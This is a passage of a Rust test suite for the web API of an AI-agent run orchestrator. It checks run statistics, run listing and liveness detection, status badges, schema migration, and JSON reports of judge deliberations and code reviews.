16803 "/repos/a",
16804 );
16805 write_run_repo(
16806 &f.runs(),
16807 "20260902-140502-b",
16808 RunStatus::Merged,
16809 "/repos/a",
16810 );
16811 write_run_repo(
16812 &f.runs(),
16813 "20260902-140503-c",
16814 RunStatus::Blocked,
16815 "/repos/b",
16816 );
16817
16818 let stats = f.get("/api/stats").await;
16819 assert_eq!(stats.status, 200);
16820 assert_eq!(stats.json()["totals"]["runs"], 3);
16822 assert_eq!(stats.json()["repo"], Value::Null);
16823
16824 let repos = stats.json()["repos"].clone();
16825 let repos = repos.as_array().unwrap();
16826 assert_eq!(repos.len(), 2);
16827 assert_eq!(repos[0]["repo"], "/repos/a");
16829 assert_eq!(repos[0]["name"], "a");
16830 assert_eq!(repos[0]["runs"], 2);
16831 assert_eq!(repos[1]["repo"], "/repos/b");
16832 assert_eq!(repos[1]["runs"], 1);
16833 }
16834
16835 #[tokio::test]
16836 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16837 let f = Fixture::start().await;
16838 write_run_repo(
16839 &f.runs(),
16840 "20260902-140501-a",
16841 RunStatus::Merged,
16842 "/repos/a",
16843 );
16844 write_run_repo(
16845 &f.runs(),
16846 "20260902-140502-b",
16847 RunStatus::Blocked,
16848 "/repos/b",
16849 );
16850
16851 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16852 assert_eq!(stats.status, 200);
16853 assert_eq!(stats.json()["totals"]["runs"], 1);
16854 assert_eq!(stats.json()["totals"]["merged"], 1);
16855 assert_eq!(stats.json()["repo"], "/repos/a");
16856 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16859 assert_eq!(stats.json()["runs_unreadable"], 0);
16862 }
16863
16864 #[tokio::test]
16865 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16866 let f = Fixture::start().await;
16867 write_run_repo(
16868 &f.runs(),
16869 "20260902-140501-a",
16870 RunStatus::Merged,
16871 "/repos/a",
16872 );
16873 write_run_repo(
16874 &f.runs(),
16875 "20260902-140502-b",
16876 RunStatus::Merged,
16877 "/repos/b",
16878 );
16879
16880 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16881 let json = f.get(uri).await.json();
16882 let daily = json["daily"].as_array().expect("daily is an array");
16883 assert_eq!(daily.len(), 30);
16884 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16885 let mut sorted = dates.clone();
16886 sorted.sort();
16887 assert_eq!(dates, sorted);
16888 for d in daily {
16889 assert_eq!(
16890 d["merged"].as_u64().unwrap()
16891 + d["ready"].as_u64().unwrap()
16892 + d["other"].as_u64().unwrap(),
16893 d["runs"].as_u64().unwrap()
16894 );
16895 }
16896 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16897 }
16898 }
16899
16900 #[tokio::test]
16901 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16902 let f = Fixture::start().await;
16903 write_run_repo(
16904 &f.runs(),
16905 "20260902-140501-a",
16906 RunStatus::Merged,
16907 "/repos/a",
16908 );
16909
16910 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16911 assert_eq!(stats.status, 404);
16912 }
16913
16914 #[tokio::test]
16915 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16916 let f = Fixture::start().await;
16917 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16918
16919 let summary = f.get("/api/runs").await.json();
16920 let row = &summary[0];
16921 assert_eq!(row["short"], "a1b2");
16922 assert_eq!(row["status"], "ready");
16923 assert_eq!(row["done"], true);
16924 assert_eq!(row["title"], "Add a web UI");
16925 assert_eq!(row["repo_name"], "magi");
16926 assert_eq!(row["judges"], 3);
16927 assert_eq!(row["winner"], Value::Null);
16928 assert_eq!(row["reviews"], 0);
16929
16930 let detail = f.get("/api/runs/a1b2").await;
16933 assert_eq!(detail.status, 200);
16934 assert_eq!(detail.json()["base_branch"], "main");
16935 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16936 }
16937
16938 #[tokio::test]
16946 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16947 let f = Fixture::start().await;
16948
16949 let mut none_run = RunState::new(
16950 PathBuf::from("/repo/magi"),
16951 "main".to_owned(),
16952 "0123456789abcdef".to_owned(),
16953 "Add a web UI".to_owned(),
16954 Config::default(),
16955 );
16956 none_run.id = "20260902-140503-none".to_owned();
16957 none_run.status = RunStatus::Ready;
16958 none_run.merge = Some(crate::run::MergeOutcome {
16959 mode: crate::config::MergeMode::None,
16960 ok: true,
16961 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16962 empty: false,
16963 });
16964 write_state(&f.runs(), &none_run);
16965
16966 let mut pr_run = RunState::new(
16967 PathBuf::from("/repo/magi"),
16968 "main".to_owned(),
16969 "0123456789abcdef".to_owned(),
16970 "Add a web UI".to_owned(),
16971 Config::default(),
16972 );
16973 pr_run.id = "20260902-140504-prcl".to_owned();
16974 pr_run.status = RunStatus::Ready;
16975 pr_run.merge = Some(crate::run::MergeOutcome {
16976 mode: crate::config::MergeMode::Pr,
16977 ok: false,
16978 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16979 empty: false,
16980 });
16981 write_state(&f.runs(), &pr_run);
16982
16983 let summary = f.get("/api/runs").await.json();
16984 let rows: std::collections::HashMap<&str, &Value> = summary
16985 .as_array()
16986 .expect("an array")
16987 .iter()
16988 .map(|r| (r["id"].as_str().expect("an id"), r))
16989 .collect();
16990 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16991 assert_eq!(
16992 rows[none_run.id.as_str()]["unmerged_by_design"],
16993 true,
16994 "a mode-none Ready must be flagged in the list"
16995 );
16996 assert_eq!(
16997 rows[pr_run.id.as_str()]["unmerged_by_design"],
16998 false,
16999 "a Ready reached by a closed pull request is a different case"
17000 );
17001
17002 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
17003 assert_eq!(none_detail["status"], "ready");
17004 assert_eq!(none_detail["unmerged_by_design"], true);
17005
17006 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
17007 assert_eq!(pr_detail["unmerged_by_design"], false);
17008 }
17009
17010 #[tokio::test]
17015 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
17016 let f = Fixture::start().await;
17017 let id = "20260902-140502-bbbb";
17021 let mut state = RunState::new(
17022 PathBuf::from("/repo/magi"),
17023 "main".to_owned(),
17024 "0123456789abcdef".to_owned(),
17025 "Add a web UI".to_owned(),
17026 Config::default(),
17027 );
17028 state.id = id.to_owned();
17029 state.status = RunStatus::Judging;
17030 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
17031 let dir = f.runs().join(id);
17032 std::fs::create_dir_all(&dir).expect("run dir");
17033 std::fs::write(
17034 dir.join("run.json"),
17035 serde_json::to_string_pretty(&state).expect("serialize run"),
17036 )
17037 .expect("write run.json");
17038
17039 let cold = f.get(&format!("/api/runs/{id}")).await.json();
17045 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
17046 assert_eq!(cold["live"], "unknown", "{cold}");
17047
17048 write_daemon(f.home.path(), Timestamp::now());
17051 let warm = f.get(&format!("/api/runs/{id}")).await.json();
17052 assert_eq!(warm["live"], "live", "{warm}");
17053 }
17054
17055 #[test]
17056 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
17057 let home = tempfile::tempdir().expect("temp home");
17058 let runs = home.path().join("runs");
17059 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
17060 let mut state = RunState::new(
17061 PathBuf::from("/repo/magi"),
17062 "main".to_owned(),
17063 "0123456789abcdef".to_owned(),
17064 "Generated review context, not authored task criteria".to_owned(),
17065 Config::default(),
17066 );
17067 state.origin = origin;
17068 state.status = RunStatus::Blocked;
17069 state.driver_exited = false;
17071 state.gate_ran = true;
17072 let expected = serde_json::to_value(&state).expect("serialize current state");
17073 let mut legacy = expected.clone();
17074 legacy["schema"] = serde_json::json!(13);
17075 legacy.as_object_mut().unwrap().remove("task_instruction");
17076 let dir = runs.join(&state.id);
17077 std::fs::create_dir_all(&dir).expect("run dir");
17078 let path = dir.join("run.json");
17079 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
17080 std::fs::write(&path, &body).expect("write legacy run");
17081
17082 for loaded in [
17083 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
17084 read_run(&runs, &state.id).expect("web migration"),
17085 ] {
17086 assert_eq!(loaded.schema, crate::run::SCHEMA);
17087 assert!(loaded.task_instruction.is_none());
17088 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
17089 }
17090 assert_eq!(runs_unreadable(&runs), 0);
17091 assert_eq!(std::fs::read(&path).unwrap(), body);
17092 }
17093 }
17094
17095 #[tokio::test]
17098 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
17099 let f = Fixture::start().await;
17100 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
17101 let mut state = RunState::new(
17102 PathBuf::from("/repo/magi"),
17103 "main".to_owned(),
17104 "0123456789abcdef".to_owned(),
17105 "Add a web UI".to_owned(),
17106 Config::default(),
17107 );
17108 state.id = id.to_owned();
17109 state.origin = origin;
17110 let mut value = serde_json::to_value(&state).expect("serialize run");
17111 if let Some(schema) = schema {
17112 value["schema"] = serde_json::json!(schema);
17113 value.as_object_mut().unwrap().remove("origin");
17114 }
17115 let dir = f.runs().join(id);
17116 std::fs::create_dir_all(&dir).expect("run dir");
17117 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
17118 };
17119 write(
17120 "20260930-092817-ec34",
17121 Some(crate::run::Origin::from_agent_env(
17122 Some(("4a7b".to_owned(), "chat".to_owned())),
17123 None,
17124 )),
17125 None,
17126 );
17127 write("20260930-092817-0ld1", None, Some(12));
17128
17129 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
17130 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
17131 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
17132
17133 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
17134 assert_eq!(
17135 old["origin_label"], "origin unknown (started before origins were recorded)",
17136 "{old}"
17137 );
17138 assert!(old["origin"].is_null(), "{old}");
17139
17140 let list = f.get("/api/runs").await.json();
17141 let labels: Vec<_> = list
17142 .as_array()
17143 .unwrap()
17144 .iter()
17145 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
17146 .collect();
17147 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
17148 }
17149
17150 #[tokio::test]
17157 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
17158 let f = Fixture::start().await;
17159 let id = "20260922-090000-cccc";
17160 let mut state = RunState::new(
17161 PathBuf::from("/repo/magi"),
17162 "main".to_owned(),
17163 "0123456789abcdef".to_owned(),
17164 "Review only".to_owned(),
17165 Config::default(),
17166 );
17167 state.id = id.to_owned();
17168 state.status = RunStatus::Reviewing;
17169 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17170 state.driver_pid = Some(std::process::id());
17176 state.driver_started_at = Some(
17177 crate::proc::process_started_at(std::process::id())
17178 .expect("this test process's own start time must be queryable"),
17179 );
17180 let dir = f.runs().join(id);
17181 std::fs::create_dir_all(&dir).expect("run dir");
17182 std::fs::write(
17183 dir.join("run.json"),
17184 serde_json::to_string_pretty(&state).expect("serialize run"),
17185 )
17186 .expect("write run.json");
17187
17188 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17189 assert_eq!(detail["live"], "live", "{detail}");
17190 }
17191
17192 #[tokio::test]
17198 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17199 let f = Fixture::start().await;
17200 let id = "20260922-090100-dddd";
17201 let mut state = RunState::new(
17202 PathBuf::from("/repo/magi"),
17203 "main".to_owned(),
17204 "0123456789abcdef".to_owned(),
17205 "Review only".to_owned(),
17206 Config::default(),
17207 );
17208 state.id = id.to_owned();
17209 state.status = RunStatus::Reviewing;
17210 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17211 state.driver_pid = Some(std::process::id());
17216 state.driver_started_at = Some("1".to_owned());
17217 let dir = f.runs().join(id);
17218 std::fs::create_dir_all(&dir).expect("run dir");
17219 std::fs::write(
17220 dir.join("run.json"),
17221 serde_json::to_string_pretty(&state).expect("serialize run"),
17222 )
17223 .expect("write run.json");
17224
17225 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17226 assert_eq!(detail["live"], "dead", "{detail}");
17227 }
17228
17229 #[test]
17233 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17234 let mk = |id: &str, pid: Option<u32>| {
17235 let mut s = RunState::new(
17236 PathBuf::from("/repo/magi"),
17237 "main".to_owned(),
17238 "0123456789abcdef".to_owned(),
17239 "Add a web UI".to_owned(),
17240 Config::default(),
17241 );
17242 s.id = id.to_owned();
17243 s.driver_pid = pid;
17244 s.driver_started_at = Some("1790000000".to_owned());
17245 s
17246 };
17247 let states = vec![
17248 mk("20260902-140502-aaaa", Some(77)),
17249 mk("20260902-140502-bbbb", Some(77)),
17250 mk("20260902-140502-cccc", Some(77)),
17251 mk("20260902-140502-dddd", None),
17252 ];
17253 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17254 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17255 let sup: HashMap<String, String> = [(
17256 "20260902-140502-aaaa".to_owned(),
17257 "20260902-140502-cccc".to_owned(),
17258 )]
17259 .into();
17260
17261 let status_calls = std::cell::Cell::new(0);
17262 let identity_calls = std::cell::Cell::new(0);
17263 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17264 |_| {
17265 status_calls.set(status_calls.get() + 1);
17266 Some(true)
17267 },
17268 |_| {
17269 identity_calls.set(identity_calls.get() + 1);
17270 Some("1790000000".to_owned())
17271 },
17272 ));
17273 let rows = summarize(
17274 states,
17275 &open,
17276 &claimed,
17277 &sup,
17278 |p| probe.borrow_mut().status(p),
17279 |p| probe.borrow_mut().started_at(p),
17280 );
17281
17282 assert_eq!(status_calls.get(), 1, "one pid, one status query");
17283 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17284 assert_eq!(rows.len(), 4);
17285 assert!(!rows[0].waiting && rows[1].waiting);
17286 assert_eq!(rows[0].live, crate::run::Liveness::Live);
17287 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17288 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17289 assert_eq!(rows[1].superseded_by, None);
17290 }
17291
17292 #[test]
17293 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17294 let mut state = RunState::new(
17295 PathBuf::from("/repo/magi"),
17296 "main".to_owned(),
17297 "0123456789abcdef".to_owned(),
17298 "Review only".to_owned(),
17299 Config::default(),
17300 );
17301 state.id = "20260922-090200-dead".to_owned();
17302 state.status = RunStatus::Reviewing;
17303 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17304 .expect("serialize list row");
17305 assert_eq!(row["status"], "reviewing");
17306 assert_eq!(row["display_status"], "stale");
17307 assert_eq!(row["live"], "dead", "{row}");
17308 assert!(!row["done"].as_bool().unwrap());
17309 }
17310
17311 #[test]
17312 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17313 use crate::run::Liveness::{Dead, Live, Unknown};
17314 let mut state = RunState::new(
17315 PathBuf::from("/repo/magi"),
17316 "main".to_owned(),
17317 "abc".to_owned(),
17318 "Review only".to_owned(),
17319 Config::default(),
17320 );
17321 for (status, parked, node, waiting, live, expected) in [
17322 (
17323 RunStatus::Judging,
17324 true,
17325 "github-text",
17326 false,
17327 Dead,
17328 "parked",
17329 ),
17330 (RunStatus::Judging, false, "park", false, Dead, "stale"),
17331 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17332 (
17333 RunStatus::Judging,
17334 true,
17335 "github-text",
17336 true,
17337 Dead,
17338 "waiting",
17339 ),
17340 (
17341 RunStatus::Judging,
17342 false,
17343 "github-text",
17344 true,
17345 Dead,
17346 "waiting",
17347 ),
17348 (
17349 RunStatus::Judging,
17350 false,
17351 "github-text",
17352 false,
17353 Dead,
17354 "stale",
17355 ),
17356 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17357 (RunStatus::Judging, true, "park", false, Live, "judging"),
17358 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17359 (RunStatus::Merged, true, "park", false, Dead, "merged"),
17360 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17361 (
17362 RunStatus::Blocked,
17363 true,
17364 "github-text",
17365 true,
17366 Dead,
17367 "waiting",
17368 ),
17369 ] {
17370 state.status = status;
17371 state.parked = parked;
17372 state.events.clear();
17373 state.event(
17374 "park",
17375 "an earlier park does not determine the latest state",
17376 );
17377 state.event(node, "message is not used for classification");
17378 let summary = RunSummary::of(&state, waiting, live);
17379 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17380 assert_eq!(
17381 summary.display_status, expected,
17382 "{status:?}/{node}/{live:?}"
17383 );
17384 assert_eq!(detail.display_status, summary.display_status);
17385 assert_eq!(detail.waiting, summary.waiting);
17386 }
17387 state.status = RunStatus::Judging;
17388 state.parked = false;
17389 state.events.clear();
17390 assert_eq!(run_display_status(&state, false, Dead), "stale");
17391 }
17392
17393 #[test]
17394 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17395 use crate::run::Liveness::{Dead, Live, Unknown};
17396 let mut state = RunState::new(
17397 PathBuf::from("/repo/magi"),
17398 "main".to_owned(),
17399 "abc".to_owned(),
17400 "Badge".to_owned(),
17401 Config::default(),
17402 );
17403 for (status, waiting, live, superseded, expected) in [
17404 (RunStatus::Gating, false, Dead, false, "stale"),
17405 (RunStatus::Gating, false, Dead, true, "superseded"),
17406 (RunStatus::Gating, false, Unknown, true, "superseded"),
17407 (RunStatus::Gating, true, Dead, true, "superseded"),
17408 (RunStatus::Gating, true, Dead, false, "waiting"),
17409 (RunStatus::Gating, false, Unknown, false, "gating"),
17410 (RunStatus::Gating, false, Live, true, "gating"),
17411 (RunStatus::Gating, true, Live, true, "waiting"),
17412 (RunStatus::Merged, false, Dead, true, "merged"),
17413 (RunStatus::Blocked, false, Dead, true, "blocked"),
17414 ] {
17415 state.status = status;
17416 let display = run_display_status(&state, waiting, live);
17417 assert_eq!(
17418 run_badge_status(&state, &display, live, superseded),
17419 expected,
17420 "{status:?}/{live:?}/superseded={superseded}"
17421 );
17422 }
17423 }
17424
17425 #[test]
17426 fn summarize_and_detail_expose_badge_status() {
17427 use crate::run::Liveness::Dead;
17428 let mut state = RunState::new(
17429 PathBuf::from("/repo/magi"),
17430 "main".to_owned(),
17431 "abc".to_owned(),
17432 "Badge".to_owned(),
17433 Config::default(),
17434 );
17435 state.status = RunStatus::Gating;
17436 let none = HashSet::new();
17437 let id = state.id.clone();
17438 let mut by = HashMap::new();
17439 let rows = summarize(
17440 [state.clone()],
17441 &none,
17442 &none,
17443 &by,
17444 |_| Some(false),
17445 |_| None,
17446 );
17447 assert_eq!(rows[0].badge_status, rows[0].display_status);
17449 by.insert(id, "20260901-000000-913b".to_owned());
17450 let detail = RunDetailView::of(
17451 state.clone(),
17452 false,
17453 Dead,
17454 Some("913b".to_owned()),
17455 None,
17456 None,
17457 );
17458 assert_eq!(detail.badge_status, "superseded");
17459 let json = serde_json::to_value(&detail).unwrap();
17460 assert_eq!(json["badge_status"], "superseded");
17461 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17462 assert_eq!(detail.badge_status, "stale");
17463 }
17464
17465 #[tokio::test]
17466 async fn run_display_status_routes_share_the_open_question_store() {
17467 let f = Fixture::start().await;
17468 let id = "20260922-090200-abcd";
17469 write_run(&f.runs(), id, RunStatus::Judging);
17470 let mut state = read_run(&f.runs(), id).unwrap();
17471 state.parked = true;
17472 state.driver_exited = true;
17473 state.event("github-text", "waiting for the owner");
17474 state.save_under(f.home.path()).unwrap();
17475 let mut task = Task::new(
17476 "resumed task".to_owned(),
17477 "do it".to_owned(),
17478 PathBuf::from("/repo"),
17479 Source::Human,
17480 );
17481 task.runs = vec![id.to_owned(), id.to_owned()];
17482 f.queue().put(&mut task).unwrap();
17483 let store = f.questions();
17484 let mut q = Question::new(
17485 id.to_owned(),
17486 "github-text".to_owned(),
17487 "owner".to_owned(),
17488 "Approve the text?".to_owned(),
17489 String::new(),
17490 Vec::new(),
17491 );
17492 store.put(&mut q).unwrap();
17493 for expected in ["waiting", "parked"] {
17494 let list = f.get("/api/runs").await.json();
17495 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17496 assert_eq!(list[0]["display_status"], expected);
17497 assert_eq!(detail["display_status"], expected);
17498 assert_eq!(detail["waiting"], list[0]["waiting"]);
17499 assert_eq!(list[0]["badge_status"], expected);
17500 assert_eq!(detail["badge_status"], expected);
17501 assert!(list[0]["superseded_by"].is_null());
17502 assert!(detail["superseded_by"].is_null());
17503 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17504 let history = task_detail["history"].as_array().unwrap();
17505 assert_eq!(history.len(), 2);
17506 assert!(history[0]["badge"].is_null());
17507 assert_eq!(history[1]["badge"], expected);
17508 q.status = ask::QuestionStatus::Answered;
17509 store.put(&mut q).unwrap();
17510 }
17511 }
17512
17513 #[tokio::test]
17514 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17515 let f = Fixture::start().await;
17516 let id = "20260922-090200-abcd";
17517 write_run(&f.runs(), id, RunStatus::Judging);
17518 let mut state = read_run(&f.runs(), id).unwrap();
17519 state.parked = true;
17520 state.driver_exited = true;
17521 state.event("park", "stopped at a node boundary");
17522 state.save_under(f.home.path()).unwrap();
17523
17524 for expected in ["parked", "stale"] {
17525 let list = f.get("/api/runs").await.json();
17526 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17527 assert_eq!(list[0]["live"], "dead");
17528 assert_eq!(list[0]["display_status"], expected);
17529 assert_eq!(detail["display_status"], expected);
17530 state.parked = false;
17533 state.save_under(f.home.path()).unwrap();
17534 }
17535 }
17536
17537 #[tokio::test]
17538 async fn the_run_list_is_newest_first_and_honours_a_limit() {
17539 let f = Fixture::start().await;
17540 for id in [
17541 "20260902-140501-aaaa",
17542 "20260902-140502-bbbb",
17543 "20260902-140503-cccc",
17544 ] {
17545 write_run(&f.runs(), id, RunStatus::Merged);
17546 }
17547
17548 let all = f.get("/api/runs").await.json();
17549 let capped = f.get("/api/runs?limit=2").await.json();
17550
17551 assert_eq!(all[0]["id"], "20260902-140503-cccc");
17552 assert_eq!(all.as_array().map(Vec::len), Some(3));
17553 assert_eq!(capped.as_array().map(Vec::len), Some(2));
17554 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
17555 }
17556
17557 #[tokio::test]
17558 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
17559 let f = Fixture::start().await;
17560 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
17561
17562 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
17563
17564 assert_eq!(res.status, 200);
17565 assert!(
17566 res.headers
17567 .contains("content-type: text/plain; charset=utf-8"),
17568 "a browser must render it, not download it: {}",
17569 res.headers
17570 );
17571 assert!(
17575 res.body.contains("20260902-140501-a1b2"),
17576 "the report is about the run that was asked for: {}",
17577 res.body
17578 );
17579 }
17580
17581 #[tokio::test]
17582 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
17583 crate::run::pin_test_home();
17585 let f = Fixture::start().await;
17586 let id = "20260902-140501-a1b2";
17587 write_run(&f.runs(), id, RunStatus::Stalled);
17588 let path = f.runs().join(id).join("run.json");
17591 let mut v: serde_json::Value =
17592 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17593 v["tally"] = serde_json::json!({
17594 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17595 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
17596 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
17597 "met_quorum": false, "rankings": 1
17598 });
17599 v["reviews"] = serde_json::json!([{
17600 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
17601 "e2e_deferred": true,
17602 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
17603 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
17604 ]}]
17605 }]);
17606 std::fs::write(&path, v.to_string()).unwrap();
17607 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
17608 std::fs::write(
17609 f.runs().join("20260902-140502-dead").join("run.json"),
17610 "{not json",
17611 )
17612 .unwrap();
17613
17614 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17615
17616 assert_eq!(res.status, 200, "{}", res.body);
17617 assert!(res.headers.contains("content-type: application/json"));
17618 let j = res.json();
17619 assert_eq!(j["schema"], 1);
17620 assert_eq!(j["header"]["id"], id);
17621 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
17622 let kinds: Vec<&str> = j["sections"]
17623 .as_array()
17624 .unwrap()
17625 .iter()
17626 .map(|s| s["kind"].as_str().unwrap())
17627 .collect();
17628 assert_eq!(kinds, ["candidates", "tally", "review"]);
17629 let tally = &j["sections"][1]["tally"];
17630 assert_eq!(
17631 (tally["decided"].clone(), tally["provisional"].clone()),
17632 (false.into(), true.into())
17633 );
17634 let round = &j["sections"][2]["rounds"][0];
17635 assert_eq!(round["e2e"]["state"], "deferred");
17636 assert_eq!(round["findings"][0]["severity"], "major");
17637 assert_eq!(round["findings"][0]["blocking"], true);
17638 assert_eq!(round["findings"][0]["state"], "open");
17639
17640 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
17642
17643 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
17645 assert_ne!(bad.status, 200, "{}", bad.body);
17646 assert_eq!(
17647 bad.status,
17648 f.get("/api/runs/20260902-140502-dead/report").await.status
17649 );
17650 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
17651 assert_eq!(
17652 f.get("/api/runs/20260902-999999-ffff/report.json")
17653 .await
17654 .status,
17655 404
17656 );
17657 }
17658
17659 #[tokio::test]
17660 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
17661 crate::run::pin_test_home();
17662 let f = Fixture::start().await;
17663 let id = "20260902-140503-delib";
17664 write_run(&f.runs(), id, RunStatus::Merged);
17665 let path = f.runs().join(id).join("run.json");
17666 let mut v: serde_json::Value =
17667 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17668 v["judgements"] = serde_json::json!([
17669 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17670 ]);
17671 v["tally"] = serde_json::json!({
17672 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17673 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
17674 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
17675 "met_quorum": true, "rankings": 1
17676 });
17677 v["deliberation"] = serde_json::json!([
17678 {
17679 "round": 1,
17680 "turns": [
17681 {
17682 "judge": 1,
17683 "agent": "judge-1",
17684 "body": "I prefer candidate **A** because it has cleaner tests.",
17685 "tentative": "A"
17686 }
17687 ]
17688 },
17689 {
17690 "round": 2,
17691 "turns": [
17692 {
17693 "judge": 1,
17694 "agent": "judge-1",
17695 "body": "Still thinking, no choice yet.",
17696 "tentative": null
17697 }
17698 ]
17699 }
17700 ]);
17701 std::fs::write(&path, v.to_string()).unwrap();
17702
17703 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17704 assert_eq!(res.status, 200, "{}", res.body);
17705 let j = res.json();
17706 let judging = j["sections"]
17707 .as_array()
17708 .unwrap()
17709 .iter()
17710 .find(|s| s["kind"] == "judging")
17711 .expect("judging section exists");
17712
17713 let delib_lines = judging["deliberation"].as_array().unwrap();
17715 assert_eq!(delib_lines.len(), 2);
17716 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17717 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17718
17719 let rounds = judging["rounds"].as_array().unwrap();
17721 assert_eq!(rounds.len(), 2);
17722 let r1_t0 = &rounds[0]["turns"][0];
17723 assert_eq!(r1_t0["judge"], 1);
17724 assert_eq!(r1_t0["agent"], "judge-1");
17725 assert_eq!(r1_t0["tentative"], "A");
17726 assert_eq!(
17727 r1_t0["body"],
17728 "I prefer candidate **A** because it has cleaner tests."
17729 );
17730 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17731
17732 let r2_t0 = &rounds[1]["turns"][0];
17733 assert_eq!(r2_t0["judge"], 1);
17734 assert_eq!(r2_t0["agent"], "judge-1");
17735 assert!(r2_t0["tentative"].is_null());
17736 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17737 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17738
17739 let id_empty = "20260902-140504-nodelib";
17741 write_run(&f.runs(), id_empty, RunStatus::Merged);
17742 let path_empty = f.runs().join(id_empty).join("run.json");
17743 let mut v_empty: serde_json::Value =
17744 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17745 v_empty["judgements"] = serde_json::json!([
17746 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17747 ]);
17748 v_empty["deliberation"] = serde_json::json!([]);
17749 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17750
17751 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17752 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
